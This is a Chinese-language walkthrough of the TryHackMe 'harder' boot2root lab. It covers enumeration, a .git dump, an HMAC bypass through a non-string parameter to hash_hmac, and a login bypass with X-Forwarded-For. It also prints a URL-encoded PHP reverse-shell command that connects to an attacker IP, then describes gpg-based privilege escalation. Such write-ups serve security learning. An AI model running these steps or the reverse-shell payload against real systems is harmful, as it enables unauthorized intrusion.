TryHackMe-harder(boot2root)
harder
结合真实的渗透测试结果。该机器的灵感完全来自现实世界的渗透测试结果。也许你会认为它们非常具有挑战性,但没有任何兔子洞。一旦你有一个 shell,知道使用哪个底层 Linux 发行版以及某些配置的位置是非常重要的。
端口扫描
循例 nmap
Web枚举
进80
目录扫描
上gobuster,发现报错,原因是不管请求的页面存不存在,都是200,仅在页面内容显示404
上ffuf
扫到phpinfo和vendor
继续对vendor扫,一层层扫进去最后无果
在查看响应的时候发现响应头有个域名
将其添加进hosts
进入pwd子域,是一个登录框
随手一个admin:admin,进去
gobuster扫一波,有东西
发现有.git,直接上githacker
PHP代码审计
得到三个php文件
有利用价值的信息在hmac.php
<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
header('HTTP/1.0 400 Bad Request');
print("missing get parameter");
die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
$secret = hash_hmac('sha256', $_GET['n'], $secret);
}
$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
header('HTTP/1.0 403 Forbidden');
print("extra security check failed");
die();
}
?>
这段代码利用$secret将host变量进行sha256加密然后将加密的host 即$hm与h进行是否相等判断,虽然我们不知道$secret的值,但是在代码中,会利用$n变量进行sha256加密然后赋值给$secret
目前就是要想办法利用$n将$secret变得可控
在php hash_hmac官方文档当中,有一条有意思的评论
其实这里就是利用了hash_hmac的data参数只允许string的问题,如果data是非字符串,则函数直接返回空
利用这一点,我们就可以利用$n来控制$secret
丢到靶机,可以看到状态码已经是200,说明通过了,但是仍然没有数据
在index.php当中也导入hmac.php,去那边试试
得到了一组新凭据和一个子域
将子域添加进hosts,进去看看
又是这个登录框,使用刚刚获得的凭据登录
使用X-Forwarded-For轻松绕过
Reverse Shell
能执行命令
这里使用php来getshell
cmd=php+-r+'$sock%3dfsockopen("10.9.62.153",8888)%3bpopen("/bin/sh+<%263+>%263+2>%263",+"r")%3b'
值得注意的是,shellcode必须是/bin/sh而不是bash,因为靶机根本没有/bin/bash
user flag
横向移动
find www用户所有文件
给了evs的凭据,这docker里su没有suid,无法直接su过去,所有需要在外面ssh登录
权限提升
但这个脚本的注释给出的信息,说明可能还有其他脚本
这里是利用gpg加密需要执行的命令然后使用execute-crypted命令执行
这里只需要跟着脚本中说的做即可,但首先需要找到公钥,之后才能使用公钥加密
执行命令的文件./cmd
导入公钥
利用公钥加密
开启nc监听,execute-crypted执行cmd.gpg
getroot